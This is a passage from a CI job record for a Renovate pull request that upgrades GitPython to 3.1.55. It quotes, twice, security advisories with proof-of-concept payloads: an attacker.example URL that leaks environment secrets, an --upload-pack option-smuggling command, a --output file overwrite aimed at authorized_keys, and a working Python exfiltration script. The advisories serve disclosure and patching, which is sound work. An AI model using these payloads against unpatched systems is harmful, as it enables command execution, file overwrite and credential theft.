        vector.\n\n##### Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nMake
        `_option_candidates` also emit candidates derived from single-character kwarg
        VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options`
        over the fully-transformed argv rather than the reconstructed name-only candidate
        list.\n\n---\nReported by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n####
        Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3)\n-
        [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
        [https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453](https://redirect.github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453)\n-
        [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r9mr-m37c-5fr3)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add()
        URL (incomplete fix of GHSA-rwj8-pgh3-r573)\n[GHSA-94p4-4cq8-9g67](https://redirect.github.com/advisories/GHSA-94p4-4cq8-9g67)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573)
        stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`,
        but it guarded only that one caller. `Remote.create()` \u2014 reached from
        the public `Repo.create_remote()` and its `Remote.add()` alias \u2014 still
        passes an attacker-influenceable URL through `Git.polish_url()` with the default
        `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git`
        is expanded server-side to embed the hosting process's environment secret,
        written into `.git/config`, and then transmitted to the attacker's host on
        the next `fetch`/`pull`. This is the same primitive and same \"import repository
        from URL\" threat model the advisory describes, via the sibling caller the
        fix missed.\n\n##### Root Cause\n\nFix commit [`8ac5a305`](https://redirect.github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2)
        added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and
        used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)).
        The shared helper's dangerous default was left in place, and the other callers
        were not updated.\n\n[`git/remote.py:811`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811),
        `Remote.create`:\n\n```python\nurl = Git.polish_url(url)                 #
        expand_vars=True -> os.path.expandvars(url)\nif not allow_unsafe_protocols:\n
        \   Git.check_unsafe_protocols(url)       # https:// carrying the secret passes\nrepo.git.remote(scmd,
        \"--\", name, url, **kwargs)   # expanded URL written to .git/config\n```\n\n`check_unsafe_protocols()`
        runs *after* expansion here, so it rejects an `ext::` payload but does nothing
        about an `https://` URL that carries an expanded secret in its path or host
        \u2014 the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611)
        (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked
        file) and `.git/config`.\n\n##### Steps to Reproduce\n\n##### Prerequisites\n\n-
        Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53 (installed
        below)\n\n##### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir
        /tmp/gp-remote-poc && cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip
        install gitpython==3.1.53\n```\n\n##### Step 2: Write the PoC\n\n```bash\ncat
        > poc.py <<'PYEOF'\n\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration via
        Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport
        os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython version:\",
        git.__version__)\n\n##### Sentinel standing in for a process secret such as
        AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"]
        = SENTINEL\n\n##### Local HTTP server standing in for attacker.example.\ncaptured
        = []\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n
        \       captured.append(self.path)\n        self.send_response(404)\n        self.end_headers()\n\n
        \   def log_message(self, *a):\n        pass\n\nsrv = http.server.HTTPServer((\"127.0.0.1\",
        0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever,
        daemon=True).start()\n\n##### Attacker-controlled URL handed to an \"import
        from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\"
        % port\n\ndef norm(s):  # display the ephemeral listener port as a stable
        placeholder\n    return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\nprint(\"attacker-supplied
        URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote
        = repo.create_remote(\"evil\", attacker_url)   # public API\n\nstored = repo.remote(\"evil\").url\nprint(\"stored
        remote URL     :\", norm(stored))\nprint(\"SENTINEL in git config:\", SENTINEL
        in stored)\n\ntry:\n    remote.fetch()          # transmits the expanded URL
        to the attacker host\nexcept Exception:\n    pass                    # fetch
        fails after the request is already sent\n\nsrv.shutdown()\nover_network =
        any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received   :\", [norm(p)
        for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif
        SENTINEL in stored and over_network:\n    print(\"VULNERABLE: env-var expanded
        into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n
        \   print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n
        \   print(\"not reproduced\")\nPYEOF\n```\n\n##### Step 3: Run it\n\n```bash\ncd
        /tmp/gp-remote-poc && ./venv/bin/python poc.py\n```\n\nExpected output (the
        listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version:
        3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored
        remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL
        in git config: True\nHTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL
        over network : True\n\nVULNERABLE: env-var expanded into stored URL AND transmitted
        to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in the supplied
        URL is replaced with the environment value both in the stored `.git/config`
        URL and in the request that reaches the attacker-controlled host.\n\n#####
        Suggested Fix\n\nPass `expand_vars=False` at the remaining URL callers, matching
        the clone fix:\n\n- `git/remote.py` `Remote.create`: `url = Git.polish_url(url,
        expand_vars=False)`\n- `git/objects/submodule/base.py` `Submodule.add`: `url
        = Git.polish_url(url, expand_vars=False)`\n\nMore robustly, flip the `Git.polish_url()`
        default to `expand_vars=False` (env-var expansion on a URL is never desirable
        for network remotes) and require callers that genuinely normalize local paths
        to opt in.\n\n##### Cleanup\n\n```bash\nrm -rf /tmp/gp-remote-poc\n```\n\n#####
        Impact\n\nAny secret in the hosting process environment (`AWS_SECRET_ACCESS_KEY`,
        `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote
        URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded
        into `.git/config` immediately and transmitted over the network (DNS + HTTP)
        on the next `fetch`/`pull`/`remote update`. This is the documented \"import
        repository from URL\" attacker model of GHSA-rwj8-pgh3-r573 \u2014 CI servers,
        git-hosting mirrors, and dependency scanners \u2014 applied to the add-a-remote
        flow, which the clone-only fix did not cover. The same disclosure reaches
        `.gitmodules` (a committable file) via `Submodule.add()`.\n\n#### Severity\n-
        CVSS Score: 7.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67)\n-
        [https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162](https://redirect.github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162)\n-
        [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-94p4-4cq8-9g67)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
        [`v3.1.55`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55):
        - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55)\n\n####
        What's Changed\n\n- fix: prevent environment expansion in remote URLs by [@&#8203;Byron](https://redirect.github.com/Byron)
        in [#&#8203;2181](https://redirect.github.com/gitpython-developers/GitPython/pull/2181)\n\n**Full
        Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55>\n\n###
        [`v3.1.54`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54):
        - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54)\n\n####
        What's Changed\n\n- Harden unsafe Git option validation by [@&#8203;Byron](https://redirect.github.com/Byron)
        in [#&#8203;2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n\n**Full
        Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54>\n\n</details>\n\n---\n\n###
        Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
        At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
        defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
        manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
        conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
        Close this PR and you won't be reminded about these updates again.\n\n---\n\n
        - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
        box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
        View the [repository job log](https://developer.mend.io/github/osism/python-osism).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODAuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI4MC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
      change_url: https://github.com/osism/python-osism/pull/2517
      child_jobs: []
      commit_id: cb3246bd3a214c3cf30cc56f53059d4b457a9af7
      event_id: f9af5010-87c1-11f1-9279-4494109b6bf1
      executor:
        hostname: 521e9411259a
        inventory_file: /var/lib/zuul/builds/6ad3ae79395249d8830cd02501a2d77c/ansible/inventory.yaml
        log_root: /var/lib/zuul/builds/6ad3ae79395249d8830cd02501a2d77c/work/logs
        result_data_file: /var/lib/zuul/builds/6ad3ae79395249d8830cd02501a2d77c/work/results.json
        src_root: /var/lib/zuul/builds/6ad3ae79395249d8830cd02501a2d77c/work/src
        work_root: /var/lib/zuul/builds/6ad3ae79395249d8830cd02501a2d77c/work
      include_vars: []
      items:
      - branch: main
        change: '2517'
        change_message: "Update dependency GitPython to v3.1.55 [SECURITY]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.53` \u2192 `==3.1.55` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.55?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.53/3.1.55?slim=true)
          |\n\n---\n\n### GitPython: Incomplete unsafe_git_clone_options denylist
          omits --template enabling arbitrary command execution via clone hooks\n[GHSA-6p8h-3wgx-97gf](https://redirect.github.com/advisories/GHSA-6p8h-3wgx-97gf)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython's `unsafe_git_clone_options`
          denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/`
          into the new repository and runs them (`post-checkout` fires during clone),
          so a caller who can influence clone options can achieve arbitrary command
          execution in the default `allow_unsafe_options=False` configuration.\n\n#####
          Root Cause\n`base.py:145-152` defines `unsafe_git_clone_options = [\"--upload-pack\",\"-u\",\"--config\",\"-c\"]`
          \u2014 `--template` is absent. The guard candidate `['--template']` passes
          `check_unsafe_options` (verified). git copies the hook directory and executes
          `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL`
          do not gate `--template`; the incomplete denylist is the only defense.\n\n#####
          Impact\nArbitrary OS command execution during clone (default config). Requires
          an attacker-readable directory containing an executable hook \u2014 a genuine
          second precondition (realistic via shared filesystems, upload dirs, `/tmp`,
          or attacker-writable network paths), reflected as AC:H.\n\n##### Proof of
          Concept\n```python\n\n##### attacker stages <dir>/hooks/post-checkout (chmod
          +x)\nfrom git import Repo\nRepo.clone_from(src, dst, template='<dir>')   #
          post-checkout hook executes -> marker created (verified)\n```\n\n##### Attack
          Chain\n1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x).
          Guard: n/a (filesystem).\n2. Entry: `Repo.clone_from(url, path, template='<dir>')`.
          Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`.
          Bypass proof: `--template` not on the denylist -> passes (verified candidate
          `['--template']`, no error).\n3. Sink: git copies the hook and executes
          `post-checkout` at checkout. Impact: ACE, default config (verified marker
          created).\n\n##### Bypass Evidence\nLive-verified on HEAD (tag 3.1.53):
          guard candidate `['--template']` passed with no error; staged `post-checkout`
          hook executed during `clone_from`, creating the marker. Independent of the
          value-smuggle bypass (`--template` is a legitimate long option that survives
          any single-char-value fix). Not covered by any existing advisory.\n\n#####
          Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `--template`
          (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`.\n\n---\nReported
          by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
          Score: 7.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97](https://redirect.github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6p8h-3wgx-97gf)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Arbitrary file overwrite via git diff --output argument injection
          in Diffable.diff (key- and value-controlled)\n[GHSA-fjr4-x663-mwxc](https://redirect.github.com/advisories/GHSA-fjr4-x663-mwxc)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n`Diffable.diff()`
          forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options`
          guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`,
          giving a broad surface. `git diff --output=<path>` writes real patch content
          to an attacker-chosen path, enabling arbitrary file overwrite.\n\n#####
          Root Cause\n`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options`
          anywhere in the method (grep-confirmed). Additionally `diff.py:265` does
          `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE
          the `--` separator, so a value of `--output=/path` is parsed by git as an
          option \u2014 a value-only control path requiring no kwarg key.\n\n#####
          Impact\nOverwrite/corrupt any file at process privilege with attacker-chosen
          path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real
          diff/patch bytes (attacker-influenced). Per the skill's rule, controlling
          WHICH file is overwritten = I:H regardless of content constraints.\n\n#####
          Proof of Concept\n```python\n\n##### Key-control:\ncommit.diff(other_commit,
          output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff
          (105 bytes verified)\n\n##### Value-control (attacker controls only the
          ref string):\ncommit.diff(other='--output=/home/app/.ssh/authorized_keys')
          \         # 14-byte victim -> 146 bytes of diff-tree output\n```\n\n#####
          Attack Chain\n1. Entry (value-control): `commit.diff(other=<user ref>)`
          with `other = \"--output=/home/app/.ssh/authorized_keys\"`. Guard: none
          in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method
          body (grep); `other` inserted pre-`--` at diff.py:265.\n2. Sink: `git diff-tree
          <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates
          the target then writes diff content. Impact: overwrite/corrupt any file
          at process privilege (attacker chooses the path). Verified argv and victim
          overwrite live.\n\n##### Bypass Evidence\nLive-verified on HEAD (tag 3.1.53):
          both key-control (`output=`) and value-control (`other='--output=...'`)
          overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`.
          This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')`
          \u2014 but `diff` is a distinct, unguarded sink NOT touched by that fix.\n\n#####
          Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `check_unsafe_options`
          to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options`
          before the `other` ref so it cannot be parsed as an option.\n\n---\nReported
          by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
          Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6](https://redirect.github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fjr4-x663-mwxc)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Unsafe git option guard bypass via single-character kwarg value
          token smuggling enables arbitrary command execution\n[GHSA-r9mr-m37c-5fr3](https://redirect.github.com/advisories/GHSA-r9mr-m37c-5fr3)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython's `check_unsafe_options`
          guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened
          since) can be bypassed for **every** guarded method (`clone`/`clone_from`,
          `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`)
          by smuggling an option token inside the VALUE of a single-character kwarg.
          In the default `allow_unsafe_options=False` configuration this yields arbitrary
          command execution via `--upload-pack`.\n\n##### Root Cause\nThe guard builds
          its candidate option list from kwarg KEYS only: `_option_candidates([],
          {\"n\":\"--upload-pack=<cmd>\"})` returns `['-n']` (cmd.py:1042-1046 derives
          the candidate from the key, never the value). `-n` is not on the denylist,
          so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)`
          (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`.
          git then parses the second token as `--upload-pack` and executes the attacker-supplied
          command. The guard never inspects the value that becomes a separate argv
          token.\n\n##### Impact\nArbitrary OS command execution as the host process
          (via `--upload-pack`) in the default configuration, affecting all guarded
          methods since they all build candidates through the name-only `_option_candidates`.\n\n#####
          Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(bare_repo,
          out_dir, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")\n\n##### /tmp/ACE
          created -> ACE. Direct-name form upload_pack=\"...\" is correctly BLOCKED.\n```\nFile-write
          variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')`
          -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file
          truncated.\n\n##### Attack Chain\n1. Entry: app forwards a user-supplied
          options dict -> `Repo.clone_from(url, path, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")`.
          Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)`
          at base.py. Bypass proof: `_option_candidates([], {\"n\":\"--upload-pack=...\"})`
          -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified
          live).\n2. Transform: `transform_kwarg('n', value, split_single_char_options=True)`
          -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none
          (guard already passed on name-only candidate). Bypass proof: verified transform
          emits two tokens.\n3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack'
          -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker
          created, verified end-to-end).\n\n##### Bypass Evidence\nLive-verified on
          HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`;
          `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from
          with the payload created the marker file; the direct-name `upload_pack=`
          form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore
          key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option,
          GHSA-x2qx multi-before-split) are BLOCKED on HEAD \u2014 this is a distinct
          kwarg-value->separate-token vector.\n\n##### Affected Versions\n`<= 3.1.53`\n\n#####
          Suggested Fix\nMake `_option_candidates` also emit candidates derived from
          single-character kwarg VALUES when `split_single_char_options` is in effect,
          OR run `check_unsafe_options` over the fully-transformed argv rather than
          the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)**
          \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS Score: 8.8 / 10
          (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453](https://redirect.github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r9mr-m37c-5fr3)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Environment-variable exfiltration via Repo.create_remote() /
          Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)\n[GHSA-94p4-4cq8-9g67](https://redirect.github.com/advisories/GHSA-94p4-4cq8-9g67)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573)
          stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`,
          but it guarded only that one caller. `Remote.create()` \u2014 reached from
          the public `Repo.create_remote()` and its `Remote.add()` alias \u2014 still
          passes an attacker-influenceable URL through `Git.polish_url()` with the
          default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git`
          is expanded server-side to embed the hosting process's environment secret,
          written into `.git/config`, and then transmitted to the attacker's host
          on the next `fetch`/`pull`. This is the same primitive and same \"import
          repository from URL\" threat model the advisory describes, via the sibling
          caller the fix missed.\n\n##### Root Cause\n\nFix commit [`8ac5a305`](https://redirect.github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2)
          added an `expand_vars` parameter to `Git.polish_url()` (default `True`)
          and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)).
          The shared helper's dangerous default was left in place, and the other callers
          were not updated.\n\n[`git/remote.py:811`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811),
          `Remote.create`:\n\n```python\nurl = Git.polish_url(url)                 #
          expand_vars=True -> os.path.expandvars(url)\nif not allow_unsafe_protocols:\n
          \   Git.check_unsafe_protocols(url)       # https:// carrying the secret
          passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs)   # expanded
          URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after*
          expansion here, so it rejects an `ext::` payload but does nothing about
          an `https://` URL that carries an expanded secret in its path or host \u2014
          the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611)
          (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked
          file) and `.git/config`.\n\n##### Steps to Reproduce\n\n##### Prerequisites\n\n-
          Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53
          (installed below)\n\n##### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir
          /tmp/gp-remote-poc && cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip
          install gitpython==3.1.53\n```\n\n##### Step 2: Write the PoC\n\n```bash\ncat
          > poc.py <<'PYEOF'\n\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration
          via Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport
          os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython
          version:\", git.__version__)\n\n##### Sentinel standing in for a process
          secret such as AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"]
          = SENTINEL\n\n##### Local HTTP server standing in for attacker.example.\ncaptured
          = []\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n
          \       captured.append(self.path)\n        self.send_response(404)\n        self.end_headers()\n\n
          \   def log_message(self, *a):\n        pass\n\nsrv = http.server.HTTPServer((\"127.0.0.1\",
          0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever,
          daemon=True).start()\n\n##### Attacker-controlled URL handed to an \"import
          from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\"
          % port\n\ndef norm(s):  # display the ephemeral listener port as a stable
          placeholder\n    return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\nprint(\"attacker-supplied
          URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote
          = repo.create_remote(\"evil\", attacker_url)   # public API\n\nstored =
          repo.remote(\"evil\").url\nprint(\"stored remote URL     :\", norm(stored))\nprint(\"SENTINEL
          in git config:\", SENTINEL in stored)\n\ntry:\n    remote.fetch()          #
          transmits the expanded URL to the attacker host\nexcept Exception:\n    pass
